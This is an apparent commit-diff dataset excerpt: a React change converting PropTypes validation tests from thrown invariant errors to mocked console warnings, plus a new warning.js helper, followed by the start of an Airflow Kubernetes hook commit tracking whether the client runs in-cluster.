<del> <Component testContext={{foo: 'foo', bar: 123}} />
<del> );
<del> }).not.toThrow();
<add> ReactTestUtils.renderIntoDocument(
<add> <Component testContext={{foo: 'foo', bar: 123}} />
<add> );
<ide>
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(
<del> <Component testContext={{foo: 'foo'}} />
<del> );
<del> }).not.toThrow();
<add> ReactTestUtils.renderIntoDocument(
<add> <Component testContext={{foo: 'foo'}} />
<add> );
<add>
<add> // Previous calls should not log errors
<add> expect(console.warn.mock.calls.length).toBe(2);
<ide> });
<ide>
<ide> it('should filter out context not in contextTypes', function() {
<ide><path>src/core/__tests__/ReactPropTypes-test.js
<ide> var Props = require('ReactPropTypes');
<ide> var React = require('React');
<ide> var ReactPropTypeLocations = require('ReactPropTypeLocations');
<ide>
<add>var warn;
<add>var mocks;
<add>
<ide> function typeCheck(declaration, value) {
<ide> var props = {};
<ide> if (arguments.length > 1) {
<ide> props.testProp = value;
<ide> }
<del> return declaration.bind(
<del> null,
<del> props,
<del> 'testProp',
<del> 'testComponent',
<del> ReactPropTypeLocations.prop
<add> return declaration(
<add> props, 'testProp', 'testComponent', ReactPropTypeLocations.prop
<ide> );
<ide> }
<ide>
<ide> describe('Primitive Types', function() {
<ide> beforeEach(function() {
<ide> require('mock-modules').dumpCache();
<ide>
<add> mocks = require('mocks');
<ide> ReactTestUtils = require('ReactTestUtils');
<add>
<add> warn = console.warn;
<add> console.warn = mocks.getMockFunction();
<ide> });
<ide>
<del> it("should throw for invalid strings", function() {
<del> expect(typeCheck(Props.string, [])).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` of type `array` ' +
<add> afterEach(function() {
<add> console.warn = warn;
<add> });
<add>
<add> it("should warn for invalid strings", function() {
<add> typeCheck(Props.string, []);
<add> typeCheck(Props.string, false);
<add> typeCheck(Props.string, 1);
<add> typeCheck(Props.string, {});
<add>
<add> expect(console.warn.mock.calls.length).toBe(4);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Invalid prop `testProp` of type `array` ' +
<ide> 'supplied to `testComponent`, expected `string`.'
<ide> );
<del> expect(typeCheck(Props.string, false)).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` of type `boolean` ' +
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Invalid prop `testProp` of type `boolean` ' +
<ide> 'supplied to `testComponent`, expected `string`.'
<ide> );
<del> expect(typeCheck(Props.string, 1)).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` of type `number` ' +
<add> expect(console.warn.mock.calls[2][0]).toBe(
<add> 'Warning: Invalid prop `testProp` of type `number` ' +
<ide> 'supplied to `testComponent`, expected `string`.'
<ide> );
<del> expect(typeCheck(Props.string, {})).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` of type `object` ' +
<add> expect(console.warn.mock.calls[3][0]).toBe(
<add> 'Warning: Invalid prop `testProp` of type `object` ' +
<ide> 'supplied to `testComponent`, expected `string`.'
<ide> );
<ide> });
<ide>
<del> it("should not throw for valid values", function() {
<del> expect(typeCheck(Props.array, [])).not.toThrow();
<del> expect(typeCheck(Props.bool, false)).not.toThrow();
<del> expect(typeCheck(Props.func, function() {})).not.toThrow();
<del> expect(typeCheck(Props.number, 0)).not.toThrow();
<del> expect(typeCheck(Props.object, {})).not.toThrow();
<del> expect(typeCheck(Props.string, '')).not.toThrow();
<add> it("should not warn for valid values", function() {
<add> typeCheck(Props.array, []);
<add> typeCheck(Props.bool, false);
<add> typeCheck(Props.func, function() {});
<add> typeCheck(Props.number, 0);
<add> typeCheck(Props.object, {});
<add> typeCheck(Props.string, '');
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<del> it("should be implicitly optional and not throw without values", function() {
<del> expect(typeCheck(Props.string, null)).not.toThrow();
<del> expect(typeCheck(Props.string, undefined)).not.toThrow();
<add> it("should be implicitly optional and not warn without values", function() {
<add> typeCheck(Props.string, null);
<add> typeCheck(Props.string, undefined);
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<del> it("should throw for missing required values", function() {
<del> expect(typeCheck(Props.string.isRequired, null)).toThrow(
<del> 'Invariant Violation: Required prop `testProp` was not specified in ' +
<add> it("should warn for missing required values", function() {
<add> typeCheck(Props.string.isRequired, null);
<add> typeCheck(Props.string.isRequired, undefined);
<add>
<add> expect(console.warn.mock.calls.length).toBe(2);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required prop `testProp` was not specified in ' +
<ide> '`testComponent`.'
<ide> );
<del> expect(typeCheck(Props.string.isRequired, undefined)).toThrow(
<del> 'Invariant Violation: Required prop `testProp` was not specified in ' +
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Required prop `testProp` was not specified in ' +
<ide> '`testComponent`.'
<ide> );
<ide> });
<ide>
<ide> it("should have a weak version that returns true/false", function() {
<del> expect(typeCheck(Props.string.weak, null)()).toEqual(true);
<del> expect(typeCheck(Props.string.weak.isRequired, null)()).toEqual(false);
<del> expect(typeCheck(Props.string.isRequired.weak, null)()).toEqual(false);
<add> expect(typeCheck(Props.string.weak, null)).toEqual(true);
<add> expect(typeCheck(Props.string.weak.isRequired, null)).toEqual(false);
<add> expect(typeCheck(Props.string.isRequired.weak, null)).toEqual(false);
<ide> });
<ide> });
<ide>
<ide> describe('Enum Types', function() {
<ide> beforeEach(function() {
<ide> require('mock-modules').dumpCache();
<add> mocks = require('mocks');
<add> warn = console.warn;
<add> console.warn = mocks.getMockFunction();
<ide> });
<ide>
<del> it("should throw for invalid strings", function() {
<del> expect(typeCheck(Props.oneOf(['red', 'blue']), true)).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` supplied to ' +
<add> afterEach(function() {
<add> console.warn = warn;
<add> });
<add>
<add> it("should warn for invalid strings", function() {
<add> typeCheck(Props.oneOf(['red', 'blue']), true);
<add> typeCheck(Props.oneOf(['red', 'blue']), []);
<add> typeCheck(Props.oneOf(['red', 'blue']), '');
<add>
<add> expect(console.warn.mock.calls.length).toBe(3);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Invalid prop `testProp` supplied to ' +
<ide> '`testComponent`, expected one of ["blue","red"].'
<ide> );
<del> expect(typeCheck(Props.oneOf(['red', 'blue']), [])).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` supplied to ' +
<add>
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Invalid prop `testProp` supplied to ' +
<ide> '`testComponent`, expected one of ["blue","red"].'
<ide> );
<del> expect(typeCheck(Props.oneOf(['red', 'blue']), '')).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` supplied to ' +
<add>
<add> expect(console.warn.mock.calls[2][0]).toBe(
<add> 'Warning: Invalid prop `testProp` supplied to ' +
<ide> '`testComponent`, expected one of ["blue","red"].'
<ide> );
<ide> });
<ide>
<del> it("should not throw for valid values", function() {
<del> expect(typeCheck(Props.oneOf(['red', 'blue']), 'red')).not.toThrow();
<del> expect(typeCheck(Props.oneOf(['red', 'blue']), 'blue')).not.toThrow();
<add> it("should not warn for valid values", function() {
<add> typeCheck(Props.oneOf(['red', 'blue']), 'red');
<add> typeCheck(Props.oneOf(['red', 'blue']), 'blue');
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<del> it("should be implicitly optional and not throw without values", function() {
<del> expect(typeCheck(Props.oneOf(['red', 'blue']), null)).not.toThrow();
<del> expect(typeCheck(Props.oneOf(['red', 'blue']), undefined)).not.toThrow();
<add> it("should be implicitly optional and not warn without values", function() {
<add> typeCheck(Props.oneOf(['red', 'blue']), null);
<add> typeCheck(Props.oneOf(['red', 'blue']), undefined);
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<ide> it("should have a weak version that returns true/false", function() {
<ide> var checker = Props.oneOf(['red', 'blue']);
<del> expect(typeCheck(checker.weak, null)()).toEqual(true);
<del> expect(typeCheck(checker.weak.isRequired, null)()).toEqual(false);
<del> expect(typeCheck(checker.isRequired.weak, null)()).toEqual(false);
<add> expect(typeCheck(checker.weak, null)).toEqual(true);
<add> expect(typeCheck(checker.weak.isRequired, null)).toEqual(false);
<add> expect(typeCheck(checker.isRequired.weak, null)).toEqual(false);
<ide> });
<ide> });
<ide>
<ide> describe('Shape Types', function() {
<ide> beforeEach(function() {
<ide> require('mock-modules').dumpCache();
<add> mocks = require('mocks');
<add> warn = console.warn;
<add> console.warn = mocks.getMockFunction();
<add> });
<add>
<add> afterEach(function() {
<add> console.warn = warn;
<ide> });
<ide>
<del> it("should throw for non objects", function() {
<del> expect(typeCheck(Props.shape({}), 'some string')).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` of type `string` ' +
<add> it("should warn for non objects", function() {
<add> typeCheck(Props.shape({}), 'some string');
<add> typeCheck(Props.shape({}), ['array']);
<add>
<add> expect(console.warn.mock.calls.length).toBe(2);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Invalid prop `testProp` of type `string` ' +
<ide> 'supplied to `testComponent`, expected `object`.'
<ide> );
<del> expect(typeCheck(Props.shape({}), ['array'])).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` of type `array` ' +
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Invalid prop `testProp` of type `array` ' +
<ide> 'supplied to `testComponent`, expected `object`.'
<ide> );
<ide> });
<ide>
<del> it("should not throw for empty values", function() {
<del> expect(typeCheck(Props.shape({}), undefined)).not.toThrow();
<del> expect(typeCheck(Props.shape({}), null)).not.toThrow();
<del> expect(typeCheck(Props.shape({}), {})).not.toThrow();
<add> it("should not warn for empty values", function() {
<add> typeCheck(Props.shape({}), undefined);
<add> typeCheck(Props.shape({}), null);
<add> typeCheck(Props.shape({}), {});
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<del> it("should throw for empty required value", function() {
<del> expect(typeCheck(Props.shape({}).isRequired, undefined)).toThrow(
<del> 'Invariant Violation: Required prop `testProp` was not specified in ' +
<add> it("should warn for empty required value", function() {
<add> typeCheck(Props.shape({}).isRequired, undefined);
<add> typeCheck(Props.shape({}).isRequired, null);
<add>
<add> expect(console.warn.mock.calls.length).toBe(2);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required prop `testProp` was not specified in ' +
<ide> '`testComponent`.'
<ide> );
<del> expect(typeCheck(Props.shape({}).isRequired, null)).toThrow(
<del> 'Invariant Violation: Required prop `testProp` was not specified in ' +
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Required prop `testProp` was not specified in ' +
<ide> '`testComponent`.'
<ide> );
<del> expect(typeCheck(Props.shape({}).isRequired, {})).not.toThrow();
<add>
<add> // Should not warn
<add> typeCheck(Props.shape({}).isRequired, {});
<add> expect(console.warn.mock.calls.length).toBe(2);
<ide> });
<ide>
<del> it("should not throw for non specified types", function() {
<del> expect(typeCheck(Props.shape({}), {key: 1})).not.toThrow();
<add> it("should not warn for non specified types", function() {
<add> typeCheck(Props.shape({}), {key: 1});
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<del> it("should not throw for valid types", function() {
<del> expect(typeCheck(Props.shape({
<add> it("should not warn for valid types", function() {
<add> typeCheck(Props.shape({
<ide> key: Props.number
<del> }), {key: 1})).not.toThrow();
<add> }), {key: 1});
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<del> it("should throw for required valid types", function() {
<del> expect(typeCheck(Props.shape({
<add> it("should warn for required valid types", function() {
<add> typeCheck(Props.shape({
<ide> key: Props.number.isRequired
<del> }), {})).toThrow(
<del> 'Invariant Violation: Required prop `key` was not specified in ' +
<add> }), {});
<add>
<add> expect(console.warn.mock.calls.length).toBe(1);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required prop `key` was not specified in ' +
<ide> '`testComponent`.'
<ide> );
<ide> });
<ide>
<del> it("should throw for invalid key types", function() {
<del> expect(typeCheck(Props.shape({
<add> it("should warn for invalid key types", function() {
<add> typeCheck(Props.shape({
<ide> key: Props.number
<del> }), {key: 'abc'})).toThrow(
<del> 'Invariant Violation: Invalid prop `key` of type `string` supplied to ' +
<add> }), {key: 'abc'});
<add>
<add> expect(console.warn.mock.calls.length).toBe(1);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Invalid prop `key` of type `string` supplied to ' +
<ide> '`testComponent`, expected `number`.'
<ide> );
<ide> });
<ide> describe('Shape Types', function() {
<ide> describe('Instance Types', function() {
<ide> beforeEach(function() {
<ide> require('mock-modules').dumpCache();
<add> mocks = require('mocks');
<add> warn = console.warn;
<add> console.warn = mocks.getMockFunction();
<add> });
<add>
<add> afterEach(function() {
<add> console.warn = warn;
<ide> });
<ide>
<del> it("should throw for invalid instances", function() {
<add> it("should warn for invalid instances", function() {
<ide> function Person() {}
<ide> var name = Person.name || '<<anonymous>>';
<add> typeCheck(Props.instanceOf(Person), false);
<add> typeCheck(Props.instanceOf(Person), {});
<add> typeCheck(Props.instanceOf(Person), '');
<ide>
<del> expect(typeCheck(Props.instanceOf(Person), false)).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` supplied to ' +
<add> expect(console.warn.mock.calls.length).toBe(3);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Invalid prop `testProp` supplied to ' +
<ide> '`testComponent`, expected instance of `' + name + '`.'
<ide> );
<del> expect(typeCheck(Props.instanceOf(Person), {})).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` supplied to ' +
<add>
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Invalid prop `testProp` supplied to ' +
<ide> '`testComponent`, expected instance of `' + name + '`.'
<ide> );
<del> expect(typeCheck(Props.instanceOf(Person), '')).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` supplied to ' +
<add>
<add> expect(console.warn.mock.calls[2][0]).toBe(
<add> 'Warning: Invalid prop `testProp` supplied to ' +
<ide> '`testComponent`, expected instance of `' + name + '`.'
<ide> );
<ide> });
<ide>
<del> it("should not throw for valid values", function() {
<add> it("should not warn for valid values", function() {
<ide> function Person() {}
<ide> function Engineer() {}
<ide> Engineer.prototype = new Person();
<ide>
<del> expect(typeCheck(Props.instanceOf(Person), new Person())).not.toThrow();
<del> expect(typeCheck(Props.instanceOf(Person), new Engineer())).not.toThrow();
<add> typeCheck(Props.instanceOf(Person), new Person());
<add> typeCheck(Props.instanceOf(Person), new Engineer());
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide> });
<ide>
<ide> describe('Component Type', function() {
<add> beforeEach(function() {
<add> require('mock-modules').dumpCache();
<add> mocks = require('mocks');
<add> warn = console.warn;
<add> console.warn = mocks.getMockFunction();
<add> });
<add>
<add> afterEach(function() {
<add> console.warn = warn;
<add> });
<add>
<ide> it('should support components', () => {
<del> expect(typeCheck(Props.component, <div />)).not.toThrow();
<add> typeCheck(Props.component, <div />);
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<ide> it('should not support multiple components or scalar values', () => {
<del> [[<div />, <div />], 123, 'foo', false].forEach((value) => {
<del> expect(typeCheck(Props.component, value)).toThrow();
<del> });
<add> var list = [[<div />, <div />], 123, 'foo', false];
<add> list.forEach((value) => typeCheck(Props.component, value));
<add> expect(console.warn.mock.calls.length).toBe(list.length);
<ide> });
<ide>
<ide> var Component = React.createClass({
<ide> describe('Component Type', function() {
<ide> });
<ide>
<ide> it('should be able to define a single child as children', () => {
<del> expect(() => {
<del> var instance =
<del> <Component>
<del> <div />
<del> </Component>;
<del> ReactTestUtils.renderIntoDocument(instance);
<del> }).not.toThrow();
<del> });
<del>
<del> it('should throw when passing more than one child', () => {
<del> expect(() => {
<del> var instance =
<del> <Component>
<del> <div />
<del> <div />
<del> </Component>;
<del> ReactTestUtils.renderIntoDocument(instance);
<del> }).toThrow();
<del> });
<del>
<del> it('should throw when passing no children and isRequired is set', () => {
<del> expect(() => {
<del> var instance = <Component />;
<del> ReactTestUtils.renderIntoDocument(instance);
<del> }).toThrow();
<add> var instance =
<add> <Component>
<add> <div />
<add> </Component>;
<add> ReactTestUtils.renderIntoDocument(instance);
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<add> });
<add>
<add> it('should warn when passing more than one child', () => {
<add> var instance =
<add> <Component>
<add> <div />
<add> <div />
<add> </Component>;
<add> ReactTestUtils.renderIntoDocument(instance);
<add> expect(console.warn.mock.calls.length).toBe(1);
<add> });
<add>
<add> it('should warn when passing no children and isRequired is set', () => {
<add> var instance = <Component />;
<add> ReactTestUtils.renderIntoDocument(instance);
<add>
<add> expect(console.warn.mock.calls.length).toBe(1);
<ide> });
<ide> });
<ide>
<ide> describe('Union Types', function() {
<ide> beforeEach(function() {
<ide> require('mock-modules').dumpCache();
<add> mocks = require('mocks');
<add> warn = console.warn;
<add> console.warn = mocks.getMockFunction();
<ide> });
<ide>
<del> it('should throw if none of the types are valid', function() {
<add> afterEach(function() {
<add> console.warn = warn;
<add> });
<add>
<add> it('should warn if none of the types are valid', function() {
<ide> var checker = Props.oneOfType([
<ide> Props.string,
<ide> Props.number
<ide> ]);
<del> expect(typeCheck(checker, [])).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` ' +
<del> 'supplied to `testComponent`.'
<del> );
<del>
<add> typeCheck(checker, []);
<ide> checker = Props.oneOfType([
<ide> Props.string.isRequired,
<ide> Props.number.isRequired
<ide> ]);
<del> expect(typeCheck(checker, null)).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` ' +
<add> typeCheck(checker, null);
<add>
<add> expect(console.warn.mock.calls.length).toBe(2);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Invalid prop `testProp` ' +
<add> 'supplied to `testComponent`.'
<add> );
<add>
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Invalid prop `testProp` ' +
<ide> 'supplied to `testComponent`.'
<ide> );
<ide> });
<ide>
<del> it('should not throw if one of the types are valid', function() {
<add> it('should not warn if one of the types are valid', function() {
<ide> var checker = Props.oneOfType([
<ide> Props.string,
<ide> Props.number
<ide> ]);
<del> expect(typeCheck(checker, null)).not.toThrow();
<del> expect(typeCheck(checker, 'foo')).not.toThrow();
<del> expect(typeCheck(checker, 123)).not.toThrow();
<add> typeCheck(checker, null);
<add> expect(console.warn.mock.calls.length).toBe(0);
<add> typeCheck(checker, 'foo');
<add> expect(console.warn.mock.calls.length).toBe(0);
<add> typeCheck(checker, 123);
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide>
<ide> checker = Props.oneOfType([
<ide> Props.string,
<ide> Props.number.isRequired
<ide> ]);
<del> expect(typeCheck(checker, null)).not.toThrow();
<del> expect(typeCheck(checker, 'foo')).not.toThrow();
<del> expect(typeCheck(checker, 123)).not.toThrow();
<add> typeCheck(checker, null);
<add> expect(console.warn.mock.calls.length).toBe(0);
<add> typeCheck(checker, 'foo');
<add> expect(console.warn.mock.calls.length).toBe(0);
<add> typeCheck(checker, 123);
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<ide> describe('React Component Types', function() {
<ide> describe('Union Types', function() {
<ide>
<ide> var myFunc = function() {};
<ide>
<del> it('should throw for invalid values', function() {
<del> expect(typeCheck(Props.renderable, false)).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` supplied to ' +
<add> it('should warn for invalid values', function() {
<add> typeCheck(Props.renderable, false);
<add> typeCheck(Props.renderable, myFunc);
<add> typeCheck(Props.renderable, {key: myFunc});
<add>
<add> expect(console.warn.mock.calls.length).toBe(3);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Invalid prop `testProp` supplied to ' +
<ide> '`testComponent`, expected a renderable prop.'
<ide> );
<del> expect(typeCheck(Props.renderable, myFunc)).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` supplied to ' +
<add>
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Invalid prop `testProp` supplied to ' +
<ide> '`testComponent`, expected a renderable prop.'
<ide> );
<del> expect(typeCheck(Props.renderable, {key: myFunc})).toThrow(
<del> 'Invariant Violation: Invalid prop `testProp` supplied to ' +
<add>
<add> expect(console.warn.mock.calls[2][0]).toBe(
<add> 'Warning: Invalid prop `testProp` supplied to ' +
<ide> '`testComponent`, expected a renderable prop.'
<ide> );
<ide> });
<ide>
<del> it('should not throw for valid values', function() {
<add> it('should not warn for valid values', function() {
<ide> // DOM component
<del> expect(typeCheck(Props.renderable, <div />)).not.toThrow();
<add> typeCheck(Props.renderable, <div />);
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> // Custom component
<del> expect(typeCheck(Props.renderable, <MyComponent />)).not.toThrow();
<add> typeCheck(Props.renderable, <MyComponent />);
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> // String
<del> expect(typeCheck(Props.renderable, 'Some string')).not.toThrow();
<add> typeCheck(Props.renderable, 'Some string');
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> // Empty array
<del> expect(typeCheck(Props.renderable, [])).not.toThrow();
<add> typeCheck(Props.renderable, []);
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> // Empty object
<del> expect(typeCheck(Props.renderable, {})).not.toThrow();
<add> typeCheck(Props.renderable, {});
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> // Array of renderable things
<del> expect(
<del> typeCheck(Props.renderable, [
<del> 123,
<del> 'Some string',
<del> <div />,
<del> ['Another string', [456], <span />, <MyComponent />],
<del> <MyComponent />
<del> ])
<del> ).not.toThrow();
<add>
<add> typeCheck(Props.renderable, [
<add> 123,
<add> 'Some string',
<add> <div />,
<add> ['Another string', [456], <span />, <MyComponent />],
<add> <MyComponent />
<add> ]);
<add> expect(console.warn.mock.calls.length).toBe(0);
<add>
<ide> // Object of rendereable things
<del> expect(
<del> typeCheck(Props.renderable, {
<del> k0: 123,
<del> k1: 'Some string',
<del> k2: <div />,
<del> k3: {
<del> k30: <MyComponent />,
<del> k31: {k310: <a />},
<del> k32: 'Another string'
<del> }
<del> })
<del> ).not.toThrow();
<add> typeCheck(Props.renderable, {
<add> k0: 123,
<add> k1: 'Some string',
<add> k2: <div />,
<add> k3: {
<add> k30: <MyComponent />,
<add> k31: {k310: <a />},
<add> k32: 'Another string'
<add> }
<add> });
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<del> it('should not throw for null/undefined if not required', function() {
<del> expect(typeCheck(Props.renderable, null)).not.toThrow();
<del> expect(typeCheck(Props.renderable, undefined)).not.toThrow();
<add> it('should not warn for null/undefined if not required', function() {
<add> typeCheck(Props.renderable, null);
<add> typeCheck(Props.renderable, undefined);
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide>
<del> it('should throw for missing required values', function() {
<del> expect(typeCheck(Props.renderable.isRequired, null)).toThrow(
<del> 'Invariant Violation: Required prop `testProp` was not specified in ' +
<add> it('should warn for missing required values', function() {
<add> typeCheck(Props.renderable.isRequired, null);
<add> typeCheck(Props.renderable.isRequired, undefined);
<add>
<add> expect(console.warn.mock.calls.length).toBe(2);
<add>
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required prop `testProp` was not specified in ' +
<ide> '`testComponent`.'
<ide> );
<del> expect(typeCheck(Props.renderable.isRequired, undefined)).toThrow(
<del> 'Invariant Violation: Required prop `testProp` was not specified in ' +
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Required prop `testProp` was not specified in ' +
<ide> '`testComponent`.'
<ide> );
<ide> });
<ide>
<ide> it('should accept empty array & object for required props', function() {
<del> expect(typeCheck(Props.renderable.isRequired, [])).not.toThrow();
<del> expect(typeCheck(Props.renderable.isRequired, {})).not.toThrow();
<add> typeCheck(Props.renderable.isRequired, []);
<add> typeCheck(Props.renderable.isRequired, {});
<add>
<add> // No warnings should have been logged.
<add> expect(console.warn.mock.calls.length).toBe(0);
<ide> });
<ide> });
<ide>
<ide> describe('Any type', function() {
<ide> it('should should accept any value', function() {
<del> expect(typeCheck(Props.any, 1)).not.toThrow();
<del> expect(typeCheck(Props.any, 'str')).not.toThrow();
<del> expect(typeCheck(Props.any.isRequired, 1)).not.toThrow();
<del> expect(typeCheck(Props.any.isRequired, 'str')).not.toThrow();
<del>
<del> expect(typeCheck(Props.any, null)).not.toThrow();
<del> expect(typeCheck(Props.any, undefined)).not.toThrow();
<del>
<del> expect(typeCheck(Props.any.isRequired, null)).toThrow(
<del> 'Invariant Violation: Required prop `testProp` was not specified in ' +
<add> typeCheck(Props.any, 1);
<add> expect(console.warn.mock.calls.length).toBe(0);
<add> typeCheck(Props.any, 'str');
<add> expect(console.warn.mock.calls.length).toBe(0);
<add> typeCheck(Props.any.isRequired, 1);
<add> expect(console.warn.mock.calls.length).toBe(0);
<add> typeCheck(Props.any.isRequired, 'str');
<add> expect(console.warn.mock.calls.length).toBe(0);
<add>
<add> typeCheck(Props.any, null);
<add> expect(console.warn.mock.calls.length).toBe(0);
<add> typeCheck(Props.any, undefined);
<add> expect(console.warn.mock.calls.length).toBe(0);
<add>
<add> typeCheck(Props.any.isRequired, null);
<add> typeCheck(Props.any.isRequired, undefined);
<add>
<add> expect(console.warn.mock.calls.length).toBe(2);
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required prop `testProp` was not specified in ' +
<ide> '`testComponent`.'
<ide> );
<del> expect(typeCheck(Props.any.isRequired, undefined)).toThrow(
<del> 'Invariant Violation: Required prop `testProp` was not specified in ' +
<add>
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Required prop `testProp` was not specified in ' +
<ide> '`testComponent`.'
<ide> );
<ide> });
<ide>
<ide> it('should have a weak version that returns true/false', function() {
<del> expect(typeCheck(Props.any.weak, null)()).toEqual(true);
<del> expect(typeCheck(Props.any.weak.isRequired, null)()).toEqual(false);
<del> expect(typeCheck(Props.any.isRequired.weak, null)()).toEqual(false);
<add> expect(typeCheck(Props.any.weak, null)).toEqual(true);
<add> expect(typeCheck(Props.any.weak.isRequired, null)).toEqual(false);
<add> expect(typeCheck(Props.any.isRequired.weak, null)).toEqual(false);
<ide> });
<ide> });
<ide> });
<ide><path>src/vendor/core/warning.js
<add>/**
<add> * Copyright 2014 Facebook, Inc.
<add> *
<add> * Licensed under the Apache License, Version 2.0 (the "License");
<add> * you may not use this file except in compliance with the License.
<add> * You may obtain a copy of the License at
<add> *
<add> * http://www.apache.org/licenses/LICENSE-2.0
<add> *
<add> * Unless required by applicable law or agreed to in writing, software
<add> * distributed under the License is distributed on an "AS IS" BASIS,
<add> * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
<add> * See the License for the specific language governing permissions and
<add> * limitations under the License.
<add> *
<add> * @providesModule warning
<add> */
<add>
<add>
<add>/**
<add> * Similar to invariant but only logs a warning if the condition is not met.
<add> * This can be used to log issues in development environments in critical
<add> * paths. Removing the logging code for production environments will keep the
<add> * same logic and follow the same code paths.
<add> */
<add>function warning(condition, format, ...args) {
<add> if (format === undefined) {
<add> throw new Error(
<add> '`warning(condition, format, ...args)` requires an error message argument'
<add> );
<add> }
<add>
<add> if (!condition) {
<add> var argIndex = 0;
<add> console.warn(
<add> 'Warning: ' +
<add> format.replace(/%s/g, () => args[argIndex++])
<add> );
<add> }
<add>}
<add>
<add>module.exports = warning; | 5 |
Python | Python | add `airflow_kpo_in_cluster` label to kpo pods | 5326da4b83ed4405553e88d5d5464508256498d0 | <ide><path>airflow/providers/cncf/kubernetes/hooks/kubernetes.py
<ide> def __init__(
<ide> self.disable_verify_ssl = disable_verify_ssl
<ide> self.disable_tcp_keepalive = disable_tcp_keepalive
<ide>
<add> self._is_in_cluster: Optional[bool] = None
<add>
<ide> # these params used for transition in KPO to K8s hook
<ide> # for a deprecation period we will continue to consider k8s settings from airflow.cfg
<ide> self._deprecated_core_disable_tcp_keepalive: Optional[bool] = None
<ide> def get_conn(self) -> Any:
<ide>
<ide> if in_cluster:
<ide> self.log.debug("loading kube_config from: in_cluster configuration")
<add> self._is_in_cluster = True
<ide> config.load_incluster_config()
<ide> return client.ApiClient()
<ide>
<ide> if kubeconfig_path is not None:
<ide> self.log.debug("loading kube_config from: %s", kubeconfig_path)
<add> self._is_in_cluster = False
<ide> config.load_kube_config(
<ide> config_file=kubeconfig_path,
<ide> client_configuration=self.client_configuration,
<ide> def get_conn(self) -> Any:
<ide> self.log.debug("loading kube_config from: connection kube_config")
<ide> temp_config.write(kubeconfig.encode())
<ide> temp_config.flush()
<add> self._is_in_cluster = False
<ide> config.load_kube_config(
<ide> config_file=temp_config.name,
<ide> client_configuration=self.client_configuration,
<ide> def _get_default_client(self, *, cluster_context=None):
<ide> # in the default location
<ide> try:
<ide> config.load_incluster_config(client_configuration=self.client_configuration)
<add> self._is_in_cluster = True
<ide> except ConfigException:
<ide> self.log.debug("loading kube_config from: default file")
<add> self._is_in_cluster = False
<ide> config.load_kube_config(
<ide> client_configuration=self.client_configuration,
<ide> context=cluster_context,
<ide> )
<ide> return client.ApiClient()
<ide>
<add> @property
<add> def is_in_cluster(self):
